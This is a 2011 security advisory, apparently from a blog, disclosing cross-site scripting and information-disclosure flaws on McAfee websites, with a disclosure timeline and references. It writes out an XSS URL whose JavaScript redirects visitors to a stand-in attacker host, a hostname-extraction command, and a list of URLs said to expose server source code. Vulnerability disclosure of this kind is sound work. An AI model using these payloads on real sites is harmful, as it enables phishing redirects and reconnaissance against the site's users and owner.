Sunday, March 27, 2011

Vulnerabilities in *McAfee.com

Vulnerabilities in *McAfee.com

1. VULNERABILITY DESCRIPTION
-> Cross Site Scripting
http://download.mcafee.com/products/webhelp/4/1033/#javascript:top.location.replace('http://attacker.in')

-> Information Disclosure > Internal Hostname:
http://www.mcafee.com/js/omniture/omniture_profile.js
($ ruby host-extract.rb -a
http://www.mcafee.com/js/omniture/omniture_profile.js)

-> Information Disclosure > Source Code Disclosure:
view-source:http://download.mcafee.com/clinic/includes/commoninc/cookiecommon.asp
view-source:http://download.mcafee.com/clinic/includes/commoninc/appcommon.asp
view-source:http://download.mcafee.com/clinic/includes/commoninc/partnerCodesLibrary.asp
view-source:http://download.mcafee.com/clinic/Includes/common.asp
view-source:http://download.mcafee.com/updates/upgrade_patches.asp
view-source:http://download.mcafee.com/updates/common/dat_common.asp
view-source:http://download.mcafee.com/updates/updates.asp
view-source:http://download.mcafee.com/updates/superDat.asp
view-source:http://download.mcafee.com/eval/evaluate2.asp
view-source:http://download.mcafee.com/common/ssi/conditionals.asp
view-source:http://download.mcafee.com/common/ssi/errHandler_soft.asp
view-source:http://download.mcafee.com/common/ssi/variables.asp
view-source:http://download.mcafee.com/common/ssi/standard/oem/oem_controls.asp
view-source:http://download.mcafee.com/common/ssi/errHandler.asp
view-source:http://download.mcafee.com/common/ssi/common_subs.asp
view-source:http://download.mcafee.com/us/upgradeCenter/productComparison_top.asp
view-source:http://download.mcafee.com/us/bannerAd.asp
view-source:http://download.mcafee.com/common/ssi/standard/global_foot_us.asp

2. RECOMMENDATION
- Fully utilize Mcafee FoundStone Experts
- Use outbound monitoring of traffic to detect potential information leakage

3. VENDOR
McAfee Inc
http://www.mcafee.com

4. DISCLOSURE TIME-LINE
2011-02-10: reported vendor
2011-02-12: vendor replied "we are working to resolve the issue as
quickly as possible"
2011-03-27: vulnerability found to be unfixed completely
2011-03-27: vulnerability disclosed

5. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/sites/mcafee.com/[mcafee]_xss_infoleak
Former Disclosure, 2008:
http://www.theregister.co.uk/2008/06/13/security_giants_xssed/
Former Disclosure, 2009:
http://news.softpedia.com/news/McAfee-Websites-Vulnerable-to-Attacks-110667.shtml
Former Disclosure, 2010:
http://security-sh3ll.blogspot.com/2010/04/mcafee-communities-xss-defacement.html
host-extract: http://code.google.com/p/host-extract/
Demo: http://yehg.net/lab/pr0js/training/view/misc/XSSing_McAfee_Secured/
xssed: http://www.xssed.com/search?key=mcafee.com
Lessont Learn: http://blogs.mcafee.com/mcafee-labs/from-xss-to-root-lessons-learned-from-a-security-breach
#yehg [2011-03-27]